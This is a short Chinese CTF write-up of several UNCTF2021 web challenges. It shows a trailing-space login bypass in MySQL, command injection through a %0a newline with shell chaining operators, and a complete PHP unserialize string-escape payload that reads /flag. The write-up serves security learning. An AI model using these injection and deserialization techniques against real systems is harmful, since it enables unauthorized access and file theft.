UNCTF2021 少量wp(web)
fuzz_md5:
签到题;嵌套绕一下正则,再写个脚本找一个符合的MD5就行了。
Can_You_Hacked_me:
抓包,知道source在www.zip。有两个文件。
第一个是源码,第二个给出了数据库的结构(id,username,password)和现有用户。
读代码可知,我们使用现有的admin用户登录即可获得flag;
但admin用户仅限本地127.0.0.1登录,而REMOTE_ADDR难以伪造。
本题的过滤较为严苛,而且碰到过滤字符就die。
做题时,想过注释掉username的单引号在password里注入,但注不了内容。
实际上,在admin后面加一个空格就可以直接登录了。
这是因为,mysql的"="查询会有忽略右侧末尾空格的问题。
( https://baijiahao.baidu.com/s?id=1705061283537623484&wfr=spider&for=pc&searchword=sql%E6%9F%A5%E8%AF%A2%E8%87%AA%E5%8A%A8%E5%BF%BD%E7%95%A5%E7%A9%BA%E6%A0%BC )
知道这个点,以后这种题就都能秒出了。
phpmysql:
题目告诉了我们含有flag的文件在根目录。
本题上下路都有问题;这里只走上路,用命令注入绕过。
is_numeric这里随便输点数字就行了;注意,如果需要输入正经的ip的话也不是无计可施;ip地址除了点分十进制之外还有正常十进制等多种写法。
先给出解法: %0a(回车)绕过。 绕过成功之后,ls、cat就很简单了。
在terminal中,连续执行命令的连接方式一般有几种:
最常见的是分号";",可顺序执行多条语句。
其他的还有"|"," &&","||"
"|"代表把前一个命令的输出作为后一个的参数;
"&&"代表前一个执行成功时执行后一个;
"||"代表前一个执行失败时执行后一个。
easy_serialize:
一个稍微有点复杂的链;考点有 0e,序列化逃逸,魔术方法。
分析:要读flag,我们需要借助readfile,就是进入me7eorite的getshell;这需要借助__toString。
而借助toString的方法就是触发 UNCTF中的__destruct
所以,我们需要构造一个UNCTF对象a,它的name元素是一个me7eorite对象b,
b的class元素还是一个me7eorite对象c,c的safe元素记录我们需要读取的文件。
而正常的传参,我们获得的UNCTF对象的name元素一定是字符串,故需要借助对flag和php的过滤实现序列化逃逸。
一个payload:
name=;s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:8:"flflagag.pphphp";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flflagag";s:5:"class";O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:1:"1";s:4:"name";s:1:"1";}}}}&pass=1&email=phpphpphpphpphpflag&action=1
读取是靠的"/flflagag"那个位置实现的。
读入这串东西以后,正常来说,系统生成的序列化东西应该是:
O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:19:"phpphpphpphpphpflag";s:4:"name";s:211:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:8:"flflagag.pphphp";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flflagag";s:5:"class";O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:1:"1";s:4:"name";s:1:"1";}}}}";}
最前面的email字符串是【phpphpphpphpphpflag】;紧接着的name有一堆东西,但终究只是个字符串。
但由于过滤,实际上,它变成了:
O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:19:"";s:4:"name";s:211:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:8:"flag.php";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:1:"1";s:4:"name";s:1:"1";}}}}";}
然而,由于[s:19:]原来的那个email字符串还是会读19位,不过变成了【";s:4:"name";s:211:】;这样的话,后面的name就变成了object。
序列化字符串,能电脑生成的部分最好用电脑生、验证;感觉手搓真的比较累,而且还容易错。
encrypt_login:
使用python_selenium;用法这里就不说了(挖坑)